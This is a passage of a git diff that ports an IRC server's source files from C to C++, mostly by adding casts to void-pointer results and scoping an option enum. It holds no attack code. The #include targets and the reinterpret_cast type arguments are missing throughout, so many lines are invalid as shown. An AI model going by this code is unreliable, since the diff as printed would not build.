ptr->data; + cltmp = (Class *)ptr->data; if(!strcmp(ClassName(cltmp), classname)) return cltmp; @@ -245,7 +245,7 @@ check_class() RB_DLINK_FOREACH_SAFE(ptr, next_ptr, class_list.head) { - cltmp = ptr->data; + cltmp = (Class *)ptr->data; if(MaxUsers(cltmp) < 0) { @@ -285,7 +285,7 @@ report_classes(struct Client *source_p) RB_DLINK_FOREACH(ptr, class_list.head) { - cltmp = ptr->data; + cltmp = (Class *)ptr->data; sendto_one_numeric(source_p, RPL_STATSYLINE, form_str(RPL_STATSYLINE), diff --git a/ircd/client.c b/ircd/client.cc similarity index 97% rename from ircd/client.c rename to ircd/client.cc index 3cf830491..a2572efec 100644 --- a/ircd/client.c +++ b/ircd/client.cc @@ -23,7 +23,6 @@ * USA */ #include -#include #include #include @@ -125,7 +124,7 @@ init_client(void) rb_event_addish("exit_aborted_clients", exit_aborted_clients, NULL, 1); rb_event_add("flood_recalc", flood_recalc, NULL, 1); - nd_dict = rb_dictionary_create("nickdelay", irccmp); + nd_dict = rb_dictionary_create("nickdelay", reinterpret_cast(irccmp)); } /* @@ -216,16 +215,14 @@ client_release_connids(struct Client *client_p) struct Client * make_client(struct Client *from) { - struct Client *client_p = NULL; struct LocalUser *localClient; - - client_p = rb_bh_alloc(client_heap); + struct Client *client_p(reinterpret_cast(rb_bh_alloc(client_heap))); if(from == NULL) { client_p->from = client_p; /* 'from' of local client is self! */ - localClient = rb_bh_alloc(lclient_heap); + localClient = reinterpret_cast(rb_bh_alloc(lclient_heap)); SetMyConnect(client_p); client_p->localClient = localClient; @@ -233,7 +230,7 @@ make_client(struct Client *from) client_p->localClient->F = NULL; - client_p->preClient = rb_bh_alloc(pclient_heap); + client_p->preClient = reinterpret_cast(rb_bh_alloc(pclient_heap)); /* as good a place as any... */ rb_dlinkAdd(client_p, &client_p->localClient->tnode, &unknown_list); @@ -385,7 +382,7 @@ check_pings_list(rb_dlink_list * list) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, list->head) { - client_p = ptr->data; + client_p = reinterpret_cast(ptr->data); if(!MyConnect(client_p) || IsDead(client_p)) continue; @@ -451,7 +448,7 @@ check_unknowns_list(rb_dlink_list * list) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, list->head) { - client_p = ptr->data; + client_p = reinterpret_cast(ptr->data); if(IsDead(client_p) || IsClosing(client_p)) continue; @@ -556,7 +553,7 @@ check_klines(void) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, lclient_list.head) { - client_p = ptr->data; + client_p = reinterpret_cast(ptr->data); if(IsMe(client_p) || !IsPerson(client_p)) continue; @@ -598,7 +595,7 @@ check_dlines(void) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, lclient_list.head) { - client_p = ptr->data; + client_p = reinterpret_cast(ptr->data); if(IsMe(client_p)) continue; @@ -620,7 +617,7 @@ check_dlines(void) /* dlines need to be checked against unknowns too */ RB_DLINK_FOREACH_SAFE(ptr, next_ptr, unknown_list.head) { - client_p = ptr->data; + client_p = reinterpret_cast(ptr->data); if((aconf = find_dline((struct sockaddr *)&client_p->localClient->ip, GET_SS_FAMILY(&client_p->localClient->ip))) != NULL) { @@ -648,7 +645,7 @@ check_xlines(void) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, lclient_list.head) { - client_p = ptr->data; + client_p = reinterpret_cast(ptr->data); if(IsMe(client_p) || !IsPerson(client_p)) continue; @@ -693,7 +690,7 @@ resv_nick_fnc(const char *mask, const char *reason, int temp_time) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, lclient_list.head) { - client_p = ptr->data; + client_p = reinterpret_cast(ptr->data); if(IsMe(client_p) || !IsPerson(client_p) || IsExemptResv(client_p)) continue; @@ -750,7 +747,7 @@ resv_nick_fnc(const char *mask, const char *reason, int temp_time) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, client_p->on_allow_list.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); rb_dlinkFindDestroy(client_p, &target_p->localClient->allow_list); rb_dlinkDestroy(ptr, &client_p->on_allow_list); } @@ -1063,7 +1060,7 @@ free_exited_clients(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next, dead_list.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); #ifdef DEBUG_EXITED_CLIENTS { @@ -1073,7 +1070,7 @@ free_exited_clients(void *unused) RB_DLINK_FOREACH(aptr, abort_list.head) { - abt = aptr->data; + abt = reinterpret_cast(aptr->data); if(abt->client == target_p) { s_assert(0); @@ -1110,7 +1107,7 @@ free_exited_clients(void *unused) #ifdef DEBUG_EXITED_CLIENTS RB_DLINK_FOREACH_SAFE(ptr, next, dead_remote_list.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); if(ptr->data == NULL) { @@ -1153,7 +1150,7 @@ recurse_remove_clients(struct Client *source_p, const char *comment) { RB_DLINK_FOREACH_SAFE(ptr, ptr_next, source_p->serv->users.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); target_p->flags |= FLAGS_KILLED; add_nd_entry(target_p->name); @@ -1165,7 +1162,7 @@ recurse_remove_clients(struct Client *source_p, const char *comment) { RB_DLINK_FOREACH_SAFE(ptr, ptr_next, source_p->serv->users.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); target_p->flags |= FLAGS_KILLED; if(!IsDead(target_p) && !IsClosing(target_p)) @@ -1175,7 +1172,7 @@ recurse_remove_clients(struct Client *source_p, const char *comment) RB_DLINK_FOREACH_SAFE(ptr, ptr_next, source_p->serv->servers.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); recurse_remove_clients(target_p, comment); qs_server(NULL, target_p, &me, comment); } @@ -1196,7 +1193,7 @@ remove_dependents(struct Client *client_p, RB_DLINK_FOREACH_SAFE(ptr, next, serv_list.head) { - to = ptr->data; + to = reinterpret_cast(ptr->data); if(IsMe(to) || to == source_p->from || to == client_p) continue; @@ -1214,7 +1211,7 @@ exit_aborted_clients(void *unused) rb_dlink_node *ptr, *next; RB_DLINK_FOREACH_SAFE(ptr, next, abort_list.head) { - abt = ptr->data; + abt = reinterpret_cast(ptr->data); #ifdef DEBUG_EXITED_CLIENTS { @@ -1299,7 +1296,7 @@ exit_generic_client(struct Client *client_p, struct Client *source_p, struct Cli /* Clean up invitefield */ RB_DLINK_FOREACH_SAFE(ptr, next_ptr, source_p->user->invited.head) { - del_invite(ptr->data, source_p); + del_invite(reinterpret_cast(ptr->data), source_p); } /* Clean up allow lists */ @@ -1728,7 +1725,7 @@ del_all_accepts(struct Client *client_p) */ RB_DLINK_FOREACH_SAFE(ptr, next_ptr, client_p->localClient->allow_list.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); rb_dlinkFindDestroy(client_p, &target_p->on_allow_list); rb_dlinkDestroy(ptr, &client_p->localClient->allow_list); } @@ -1737,7 +1734,7 @@ del_all_accepts(struct Client *client_p) /* remove this client from everyones accept list */ RB_DLINK_FOREACH_SAFE(ptr, next_ptr, client_p->on_allow_list.head) { - target_p = ptr->data; + target_p = reinterpret_cast(ptr->data); rb_dlinkFindDestroy(client_p, &target_p->localClient->allow_list); rb_dlinkDestroy(ptr, &client_p->on_allow_list); } @@ -1894,7 +1891,7 @@ void allocate_away(struct Client *client_p) { if(client_p->user->away == NULL) - client_p->user->away = rb_bh_alloc(away_heap); + client_p->user->away = reinterpret_cast(rb_bh_alloc(away_heap)); } diff --git a/ircd/dns.c b/ircd/dns.cc similarity index 89% rename from ircd/dns.c rename to ircd/dns.cc index 82b59d049..dfaf714a7 100644 --- a/ircd/dns.c +++ b/ircd/dns.cc @@ -77,7 +77,7 @@ assign_id(uint32_t *id) static void handle_dns_failure(uint32_t xid) { - struct dnsreq *req = rb_dictionary_retrieve(query_dict, RB_UINT_TO_POINTER(xid)); + struct dnsreq *req = (dnsreq *)rb_dictionary_retrieve(query_dict, RB_UINT_TO_POINTER(xid)); s_assert(req); if(req->callback == NULL) @@ -91,7 +91,7 @@ handle_dns_failure(uint32_t xid) static void handle_dns_stat_failure(uint32_t xid) { - struct dnsstatreq *req = rb_dictionary_retrieve(stat_dict, RB_UINT_TO_POINTER(xid)); + struct dnsstatreq *req = (dnsstatreq *)rb_dictionary_retrieve(stat_dict, RB_UINT_TO_POINTER(xid)); s_assert(req); if(req->callback == NULL) @@ -106,7 +106,7 @@ handle_dns_stat_failure(uint32_t xid) void cancel_lookup(uint32_t xid) { - struct dnsreq *req = rb_dictionary_retrieve(query_dict, RB_UINT_TO_POINTER(xid)); + struct dnsreq *req = (dnsreq *)rb_dictionary_retrieve(query_dict, RB_UINT_TO_POINTER(xid)); s_assert(req); req->callback = NULL; req->data = NULL; @@ -115,7 +115,7 @@ cancel_lookup(uint32_t xid) void cancel_dns_stats(uint32_t xid) { - struct dnsstatreq *req = rb_dictionary_retrieve(stat_dict, RB_UINT_TO_POINTER(xid)); + struct dnsstatreq *req = (dnsstatreq *)rb_dictionary_retrieve(stat_dict, RB_UINT_TO_POINTER(xid)); s_assert(req); req->callback = NULL; req->data = NULL; @@ -125,7 +125,7 @@ cancel_dns_stats(uint32_t xid) uint32_t lookup_hostname(const char *hostname, int aftype, DNSCB callback, void *data) { - struct dnsreq *req = rb_malloc(sizeof(struct dnsreq)); + struct dnsreq *req = (dnsreq *)rb_malloc(sizeof(struct dnsreq)); int aft; uint32_t rid = assign_id(&query_id); @@ -150,7 +150,7 @@ lookup_hostname(const char *hostname, int aftype, DNSCB callback, void *data) uint32_t lookup_ip(const char *addr, int aftype, DNSCB callback, void *data) { - struct dnsreq *req = rb_malloc(sizeof(struct dnsreq)); + struct dnsreq *req = (dnsreq *)rb_malloc(sizeof(struct dnsreq)); int aft; uint32_t rid = assign_id(&query_id); @@ -175,7 +175,7 @@ lookup_ip(const char *addr, int aftype, DNSCB callback, void *data) static uint32_t get_nameservers(DNSLISTCB callback, void *data) { - struct dnsstatreq *req = rb_malloc(sizeof(struct dnsstatreq)); + struct dnsstatreq *req = (dnsstatreq *)rb_malloc(sizeof(struct dnsstatreq)); uint32_t qid = assign_id(&stat_id); check_authd(); @@ -203,7 +203,7 @@ dns_results_callback(const char *callid, const char *status, const char *type, c return; rid = (uint32_t)lrid; - req = rb_dictionary_retrieve(query_dict, RB_UINT_TO_POINTER(rid)); + req = (dnsreq *)rb_dictionary_retrieve(query_dict, RB_UINT_TO_POINTER(rid)); if(req == NULL) return; @@ -240,7 +240,7 @@ dns_stats_results_callback(const char *callid, const char *status, int resc, con return; qid = (uint32_t)lqid; - req = rb_dictionary_retrieve(stat_dict, RB_UINT_TO_POINTER(qid)); + req = (dnsstatreq *)rb_dictionary_retrieve(stat_dict, RB_UINT_TO_POINTER(qid)); s_assert(req); diff --git a/ircd/extban.c b/ircd/extban.cc similarity index 100% rename from ircd/extban.c rename to ircd/extban.cc diff --git a/ircd/getopt.c b/ircd/getopt.cc similarity index 88% rename from ircd/getopt.c rename to ircd/getopt.cc index b7d30f8b7..99a213529 100644 --- a/ircd/getopt.c +++ b/ircd/getopt.cc @@ -27,6 +27,8 @@ # define OPTCHAR '-' +using argtype = decltype(lgetopt::argtype); + void parseargs(int *argc, char * const **argv, struct lgetopt *opts) { @@ -62,10 +64,10 @@ parseargs(int *argc, char * const **argv, struct lgetopt *opts) switch (opts[i].argtype) { - case YESNO: + case argtype::YESNO: *((int *) opts[i].argloc) = 1; break; - case INTEGER: + case argtype::INTEGER: if(*argc < 2) { fprintf(stderr, @@ -79,7 +81,7 @@ parseargs(int *argc, char * const **argv, struct lgetopt *opts) (*argc)--; (*argv)++; break; - case STRING: + case argtype::STRING: if(*argc < 2) { fprintf(stderr, @@ -89,14 +91,14 @@ parseargs(int *argc, char * const **argv, struct lgetopt *opts) } *((char **) opts[i].argloc) = - malloc(strlen((*argv)[1]) + 1); + (char *)malloc(strlen((*argv)[1]) + 1); strcpy(*((char **) opts[i].argloc), (*argv)[1]); (*argc)--; (*argv)++; break; - case USAGE: + case argtype::USAGE: usage(progname); /*NOTREACHED*/ default: fprintf(stderr, @@ -125,10 +127,10 @@ usage(const char *name) for (i = 0; myopts[i].opt; i++) { fprintf(stderr, "\t%c%-10s %-20s%s\n", OPTCHAR, - myopts[i].opt, (myopts[i].argtype == YESNO + myopts[i].opt, (myopts[i].argtype == argtype::YESNO || myopts[i].argtype == - USAGE) ? "" : myopts[i].argtype == - INTEGER ? "" : "", myopts[i].desc); + argtype::USAGE) ? "" : myopts[i].argtype == + argtype::INTEGER ? "" : "", myopts[i].desc); } exit(EXIT_FAILURE); diff --git a/ircd/hash.c b/ircd/hash.cc similarity index 91% rename from ircd/hash.c rename to ircd/hash.cc index dee174952..7e9bfc74c 100644 --- a/ircd/hash.c +++ b/ircd/hash.cc @@ -167,14 +167,14 @@ add_to_hostname_hash(const char *hostname, struct Client *client_p) if(EmptyString(hostname) || (client_p == NULL)) return; - list = rb_radixtree_retrieve(hostname_tree, hostname); + list = (rb_dlink_list *)rb_radixtree_retrieve(hostname_tree, hostname); if (list != NULL) { rb_dlinkAddAlloc(client_p, list); return; } - list = rb_malloc(sizeof(*list)); + list = (rb_dlink_list *)rb_malloc(sizeof(*list)); rb_radixtree_add(hostname_tree, hostname, list); rb_dlinkAddAlloc(client_p, list); } @@ -253,7 +253,7 @@ del_from_hostname_hash(const char *hostname, struct Client *client_p) if(hostname == NULL || client_p == NULL) return; - list = rb_radixtree_retrieve(hostname_tree, hostname); + list = (rb_dlink_list *)rb_radixtree_retrieve(hostname_tree, hostname); if (list == NULL) return; @@ -291,7 +291,7 @@ find_id(const char *name) if(EmptyString(name)) return NULL; - return rb_radixtree_retrieve(client_id_tree, name); + return (Client *)rb_radixtree_retrieve(client_id_tree, name); } /* find_client() @@ -309,7 +309,7 @@ find_client(const char *name) if(IsDigit(*name)) return (find_id(name)); - return rb_radixtree_retrieve(client_name_tree, name); + return (Client *)rb_radixtree_retrieve(client_name_tree, name); } /* find_named_client() @@ -323,7 +323,7 @@ find_named_client(const char *name) if(EmptyString(name)) return NULL; - return rb_radixtree_retrieve(client_name_tree, name); + return (Client *)rb_radixtree_retrieve(client_name_tree, name); } /* find_server() @@ -345,7 +345,7 @@ find_server(struct Client *source_p, const char *name) return(target_p); } - target_p = rb_radixtree_retrieve(client_name_tree, name); + target_p = (Client *)rb_radixtree_retrieve(client_name_tree, name); if (target_p != NULL) { if(IsServer(target_p) || IsMe(target_p)) @@ -369,7 +369,7 @@ find_hostname(const char *hostname) if(EmptyString(hostname)) return NULL; - hlist = rb_radixtree_retrieve(hostname_tree, hostname); + hlist = (rb_dlink_list *)rb_radixtree_retrieve(hostname_tree, hostname); if (hlist == NULL) return NULL; @@ -387,7 +387,7 @@ find_channel(const char *name) if(EmptyString(name)) return NULL; - return rb_radixtree_retrieve(channel_tree, name); + return (Channel *)rb_radixtree_retrieve(channel_tree, name); } /* @@ -427,7 +427,7 @@ get_or_create_channel(struct Client *client_p, const char *chname, bool *isnew) s = t; } - chptr = rb_radixtree_retrieve(channel_tree, s); + chptr = (Channel *)rb_radixtree_retrieve(channel_tree, s); if (chptr != NULL) { if (isnew != NULL) @@ -460,7 +460,7 @@ hash_find_resv(const char *name) if(EmptyString(name)) return NULL; - aconf = rb_radixtree_retrieve(resv_tree, name); + aconf = (ConfItem *)rb_radixtree_retrieve(resv_tree, name); if (aconf != NULL) { aconf->port++; @@ -476,8 +476,10 @@ clear_resv_hash(void) struct ConfItem *aconf; rb_radixtree_iteration_state iter; - RB_RADIXTREE_FOREACH(aconf, &iter, resv_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &iter, resv_tree) { + aconf = (ConfItem *)elem; /* skip temp resvs */ if(aconf->hold) continue; @@ -502,5 +504,5 @@ del_from_cli_connid_hash(uint32_t id) struct Client * find_cli_connid_hash(uint32_t connid) { - return rb_dictionary_retrieve(client_connid_tree, RB_UINT_TO_POINTER(connid)); + return (Client *)rb_dictionary_retrieve(client_connid_tree, RB_UINT_TO_POINTER(connid)); } diff --git a/ircd/hook.c b/ircd/hook.cc similarity index 94% rename from ircd/hook.c rename to ircd/hook.cc index 2354fb2f2..dd1314f62 100644 --- a/ircd/hook.c +++ b/ircd/hook.cc @@ -67,7 +67,7 @@ int h_rehash; void init_hook(void) { - hooks = rb_malloc(sizeof(hook) * HOOK_INCREMENT); + hooks = (hook *)rb_malloc(sizeof(hook) * HOOK_INCREMENT); h_burst_client = register_hook("burst_client"); h_burst_channel = register_hook("burst_channel"); @@ -96,7 +96,7 @@ grow_hooktable(void) { hook *newhooks; - newhooks = rb_malloc(sizeof(hook) * (max_hooks + HOOK_INCREMENT)); + newhooks = (hook *)rb_malloc(sizeof(hook) * (max_hooks + HOOK_INCREMENT)); memcpy(newhooks, hooks, sizeof(hook) * num_hooks); rb_free(hooks); @@ -176,7 +176,7 @@ add_hook(const char *name, hookfn fn) i = register_hook(name); - rb_dlinkAddAlloc(fn, &hooks[i].hooks); + rb_dlinkAddAlloc(reinterpret_cast(fn), &hooks[i].hooks); } /* remove_hook() @@ -190,7 +190,7 @@ remove_hook(const char *name, hookfn fn) if((i = find_hook(name)) < 0) return; - rb_dlinkFindDestroy(fn, &hooks[i].hooks); + rb_dlinkFindDestroy(reinterpret_cast(fn), &hooks[i].hooks); } /* call_hook() @@ -207,7 +207,7 @@ call_hook(int id, void *arg) */ RB_DLINK_FOREACH(ptr, hooks[id].hooks.head) { - fn = ptr->data; + fn = (hookfn)ptr->data; fn(arg); } } diff --git a/ircd/hostmask.c b/ircd/hostmask.cc similarity index 99% rename from ircd/hostmask.c rename to ircd/hostmask.cc index 3a892e4b3..9c6c76da0 100644 --- a/ircd/hostmask.c +++ b/ircd/hostmask.cc @@ -536,7 +536,7 @@ add_conf_by_address(const char *address, int type, const char *username, const c if(address == NULL) address = "/NOMATCH!/"; - arec = rb_malloc(sizeof(struct AddressRec)); + arec = (AddressRec *)rb_malloc(sizeof(struct AddressRec)); masktype = parse_netmask(address, &arec->Mask.ipa.addr, &bits); arec->Mask.ipa.bits = bits; arec->masktype = masktype; diff --git a/ircd/ircd.c b/ircd/ircd.cc similarity index 97% rename from ircd/ircd.c rename to ircd/ircd.cc index 156f47506..c0078f412 100644 --- a/ircd/ircd.c +++ b/ircd/ircd.cc @@ -23,8 +23,8 @@ * USA */ -#include -#include + +#include #include #include #include @@ -63,6 +63,7 @@ #include #include + static void ircd_die_cb(const char *str) __attribute__((noreturn)); @@ -163,7 +164,7 @@ ircd_shutdown(const char *reason) RB_DLINK_FOREACH(ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (struct Client *)ptr->data; sendto_one(target_p, ":%s NOTICE %s :Server Terminating. %s", me.name, target_p->name, reason); @@ -171,7 +172,7 @@ ircd_shutdown(const char *reason) RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (struct Client *)ptr->data; sendto_one(target_p, ":%s ERROR :Terminated by %s", me.name, reason); @@ -302,19 +303,19 @@ static int printVersion = 0; struct lgetopt myopts[] = { {"configfile", &ConfigFileEntry.configfile, - STRING, "File to use for ircd.conf"}, + lgetopt::STRING, "File to use for ircd.conf"}, {"logfile", &logFileName, - STRING, "File to use for ircd.log"}, + lgetopt::STRING, "File to use for ircd.log"}, {"pidfile", &pidFileName, - STRING, "File to use for process ID"}, + lgetopt::STRING, "File to use for process ID"}, {"foreground", &server_state_foreground, - YESNO, "Run in foreground (don't detach)"}, + lgetopt::YESNO, "Run in foreground (don't detach)"}, {"version", &printVersion, - YESNO, "Print version and exit"}, + lgetopt::YESNO, "Print version and exit"}, {"conftest", &testing_conf, - YESNO, "Test the configuration files and exit"}, - {"help", NULL, USAGE, "Print this text"}, - {NULL, NULL, STRING, NULL}, + lgetopt::YESNO, "Test the configuration files and exit"}, + {"help", NULL, lgetopt::USAGE, "Print this text"}, + {NULL, NULL, lgetopt::STRING, NULL}, }; static void diff --git a/ircd/ircd_signal.c b/ircd/ircd_signal.cc similarity index 100% rename from ircd/ircd_signal.c rename to ircd/ircd_signal.cc diff --git a/ircd/listener.c b/ircd/listener.cc similarity index 99% rename from ircd/listener.c rename to ircd/listener.cc index bfd03acc8..6ea63ff99 100644 --- a/ircd/listener.c +++ b/ircd/listener.cc @@ -601,7 +601,7 @@ accept_precallback(rb_fde_t *F, struct sockaddr *addr, rb_socklen_t addrlen, voi static void accept_callback(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t addrlen, void *data) { - struct Listener *listener = data; + struct Listener *listener(reinterpret_cast(data)); struct rb_sockaddr_storage lip; unsigned int locallen = sizeof(struct rb_sockaddr_storage); diff --git a/ircd/logger.c b/ircd/logger.cc similarity index 100% rename from ircd/logger.c rename to ircd/logger.cc diff --git a/ircd/match.c b/ircd/match.cc similarity index 100% rename from ircd/match.c rename to ircd/match.cc diff --git a/ircd/modules.c b/ircd/modules.cc similarity index 95% rename from ircd/modules.c rename to ircd/modules.cc index 6f27a7091..09f4c49b8 100644 --- a/ircd/modules.c +++ b/ircd/modules.cc @@ -35,7 +35,6 @@ #include #include #include - #include #ifndef LT_MODULE_EXT @@ -93,7 +92,7 @@ mod_find_path(const char *path) RB_DLINK_FOREACH(ptr, mod_paths.head) { - mpath = ptr->data; + mpath = (char *)ptr->data; if(!strcmp(path, mpath)) return mpath; @@ -158,7 +157,7 @@ findmodule_byname(const char *name) RB_DLINK_FOREACH(ptr, module_list.head) { - struct module *mod = ptr->data; + struct module *mod = (struct module *)ptr->data; if(!irccmp(mod->name, name)) return mod; @@ -231,6 +230,12 @@ load_core_modules(bool warn) ilog(L_MAIN, "Error loading core module %s: terminating ircd", core_module_table[i]); + + fprintf(stderr, + "Error loading core module %s (%s): terminating ircd\n", + core_module_table[i], + module_name); + exit(EXIT_FAILURE); } } @@ -257,7 +262,7 @@ load_one_module(const char *path, int origin, bool coremodule) RB_DLINK_FOREACH(pathst, mod_paths.head) { struct stat statbuf; - const char *mpath = pathst->data; + const char *mpath = (const char *)pathst->data; snprintf(modpath, sizeof(modpath), "%s%c%s%s", mpath, RB_PATH_SEPARATOR, path, LT_MODULE_EXT); if((strstr(modpath, "../") == NULL) && (strstr(modpath, "/..") == NULL)) @@ -332,7 +337,7 @@ bool init_module_v1(struct module *const mod) static void fini_module_v1(struct module *const mod) { - struct mapi_mheader_av1 *mheader = mod->mapi_header; + struct mapi_mheader_av1 *mheader = (mapi_mheader_av1 *)mod->mapi_header; if(mheader->mapi_command_list) { struct Message **m; @@ -548,7 +553,7 @@ bool init_v3_module_attr(struct module *const mod, if(!require_value(mod, attr)) return false; - struct Message *const v = attr->value; + struct Message *const v = (Message *)attr->value; mod_add_cmd(v); return true; } @@ -558,7 +563,7 @@ bool init_v3_module_attr(struct module *const mod, if(!require_value(mod, attr)) return false; - mapi_hlist_av1 *const v = attr->value; + mapi_hlist_av1 *const v = (mapi_hlist_av1 *)attr->value; *v->hapi_id = register_hook(v->hapi_name); return true; } @@ -568,7 +573,7 @@ bool init_v3_module_attr(struct module *const mod, if(!require_value(mod, attr)) return false; - mapi_hfn_list_av1 *const v = attr->value; + mapi_hfn_list_av1 *const v = (mapi_hfn_list_av1 *)attr->value; add_hook(v->hapi_name, v->fn); return true; } @@ -578,7 +583,7 @@ bool init_v3_module_attr(struct module *const mod, if(!require_value(mod, attr)) return false; - mapi_cap_list_av2 *const v = attr->value; + mapi_cap_list_av2 *const v = (mapi_cap_list_av2 *)attr->value; return init_module__cap(mod, v); } @@ -621,7 +626,7 @@ void fini_v3_module_attr(struct module *const mod, if(strncmp(attr->key, "mtab", MAPI_V3_KEY_MAXLEN) == 0) { if(attr->value) - mod_del_cmd(attr->value); + mod_del_cmd((Message *)attr->value); return; } @@ -637,7 +642,7 @@ void fini_v3_module_attr(struct module *const mod, if(!attr->value) return; - mapi_hfn_list_av1 *const v = attr->value; + mapi_hfn_list_av1 *const v = (mapi_hfn_list_av1 *)attr->value; remove_hook(v->hapi_name, v->fn); return; } @@ -645,7 +650,7 @@ void fini_v3_module_attr(struct module *const mod, if(strncmp(attr->key, "cap", MAPI_V3_KEY_MAXLEN) == 0) { if(attr->value) - fini_module__cap(mod, attr->value); + fini_module__cap(mod, (mapi_cap_list_av2 *)attr->value); return; } @@ -796,7 +801,7 @@ load_a_module(const char *path, bool warn, int origin, bool core) return false; } - struct module *mod RB_UNIQUE_PTR(free_module) = rb_malloc(sizeof(struct module)); + struct module *mod RB_UNIQUE_PTR(free_module) = (module *)rb_malloc(sizeof(struct module)); mod->name = rb_strdup(name); mod->path = rb_strdup(path); mod->address = handle; diff --git a/ircd/monitor.c b/ircd/monitor.cc similarity index 96% rename from ircd/monitor.c rename to ircd/monitor.cc index 8125784e4..9a0af4a39 100644 --- a/ircd/monitor.c +++ b/ircd/monitor.cc @@ -49,13 +49,13 @@ find_monitor(const char *name, int add) { struct monitor *monptr; - monptr = rb_radixtree_retrieve(monitor_tree, name); + monptr = (monitor *)rb_radixtree_retrieve(monitor_tree, name); if (monptr != NULL) return monptr; if(add) { - monptr = rb_malloc(sizeof(*monptr)); + monptr = (monitor *)rb_malloc(sizeof(*monptr)); rb_strlcpy(monptr->name, name, sizeof(monptr->name)); rb_radixtree_add(monitor_tree, monptr->name, monptr); @@ -125,7 +125,7 @@ clear_monitor(struct Client *client_p) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, client_p->localClient->monitor_list.head) { - monptr = ptr->data; + monptr = (monitor *)ptr->data; rb_dlinkFindDestroy(client_p, &monptr->users); rb_free_rb_dlink_node(ptr); diff --git a/ircd/msgbuf.c b/ircd/msgbuf.cc similarity index 100% rename from ircd/msgbuf.c rename to ircd/msgbuf.cc diff --git a/ircd/newconf.c b/ircd/newconf.cc similarity index 95% rename from ircd/newconf.c rename to ircd/newconf.cc index bfc29ee90..36d41e20d 100644 --- a/ircd/newconf.c +++ b/ircd/newconf.cc @@ -94,7 +94,7 @@ add_top_conf(const char *name, int (*sfunc) (struct TopConf *), { struct TopConf *tc; - tc = rb_malloc(sizeof(struct TopConf)); + tc = (TopConf *)rb_malloc(sizeof(struct TopConf)); tc->tc_name = name; tc->tc_sfunc = sfunc; @@ -113,7 +113,7 @@ find_top_conf(const char *name) RB_DLINK_FOREACH(d, conf_items.head) { - tc = d->data; + tc = (TopConf *)d->data; if(rb_strcasecmp(tc->tc_name, name) == 0) return tc; } @@ -143,7 +143,7 @@ find_conf_item(const struct TopConf *top, const char *name) RB_DLINK_FOREACH(d, top->tc_items.head) { - cf = d->data; + cf = (ConfEntry *)d->data; if(rb_strcasecmp(cf->cf_name, name) == 0) return cf; } @@ -177,7 +177,7 @@ conf_set_serverinfo_name(void *data) const char *s; int dots = 0; - for(s = data; *s != '\0'; s++) + for(s = (char *)data; *s != '\0'; s++) { if(!IsServChar(*s)) { @@ -195,7 +195,7 @@ conf_set_serverinfo_name(void *data) return; } - s = data; + s = (char *)data; if(IsDigit(*s)) { @@ -212,7 +212,7 @@ conf_set_serverinfo_name(void *data) static void conf_set_serverinfo_sid(void *data) { - char *sid = data; + char *sid = (char *)data; if(ServerInfo.sid[0] == '\0') { @@ -245,7 +245,7 @@ conf_set_serverinfo_vhost(void *data) { struct rb_sockaddr_storage addr; - if(rb_inet_pton_sock(data, (struct sockaddr *)&addr) <= 0 || GET_SS_FAMILY(&addr) != AF_INET) + if(rb_inet_pton_sock((const char *)data, (struct sockaddr *)&addr) <= 0 || GET_SS_FAMILY(&addr) != AF_INET) { conf_report_error("Invalid IPv4 address for server vhost (%s)", (char *) data); return; @@ -261,7 +261,7 @@ conf_set_serverinfo_vhost6(void *data) #ifdef RB_IPV6 struct rb_sockaddr_storage addr; - if(rb_inet_pton_sock(data, (struct sockaddr *)&addr) <= 0 || GET_SS_FAMILY(&addr) != AF_INET6) + if(rb_inet_pton_sock((const char *)data, (struct sockaddr *)&addr) <= 0 || GET_SS_FAMILY(&addr) != AF_INET6) { conf_report_error("Invalid IPv6 address for server vhost (%s)", (char *) data); return; @@ -475,7 +475,7 @@ static void conf_set_privset_privs(void *data) { char *privs = NULL; - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; for (; args; args = args->next) { @@ -485,7 +485,7 @@ conf_set_privset_privs(void *data) { char *privs_old = privs; - privs = rb_malloc(strlen(privs_old) + 1 + strlen(args->v.string) + 1); + privs = (char *)rb_malloc(strlen(privs_old) + 1 + strlen(args->v.string) + 1); strcpy(privs, privs_old); strcat(privs, " "); strcat(privs, args->v.string); @@ -533,7 +533,7 @@ conf_begin_oper(struct TopConf *tc) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_oper_list.head) { - free_oper_conf(ptr->data); + free_oper_conf((oper_conf *)ptr->data); rb_dlinkDestroy(ptr, &yy_oper_list); } @@ -585,7 +585,7 @@ conf_end_oper(struct TopConf *tc) */ RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_oper_list.head) { - yy_tmpoper = ptr->data; + yy_tmpoper = (oper_conf *)ptr->data; yy_tmpoper->name = rb_strdup(yy_oper->name); @@ -643,7 +643,7 @@ conf_end_oper(struct TopConf *tc) static void conf_set_oper_flags(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; set_modes_from_table(&yy_oper->flags, "flag", oper_table, args); } @@ -721,7 +721,7 @@ conf_set_oper_rsa_public_key_file(void *data) static void conf_set_oper_umodes(void *data) { - set_modes_from_table(&yy_oper->umodes, "umode", umode_table, data); + set_modes_from_table(&yy_oper->umodes, "umode", umode_table, (conf_parm_t *)data); } static void @@ -871,7 +871,7 @@ conf_set_listen_wsock(void *data) static void conf_set_listen_port_both(void *data, int ssl) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; for (; args; args = args->next) { 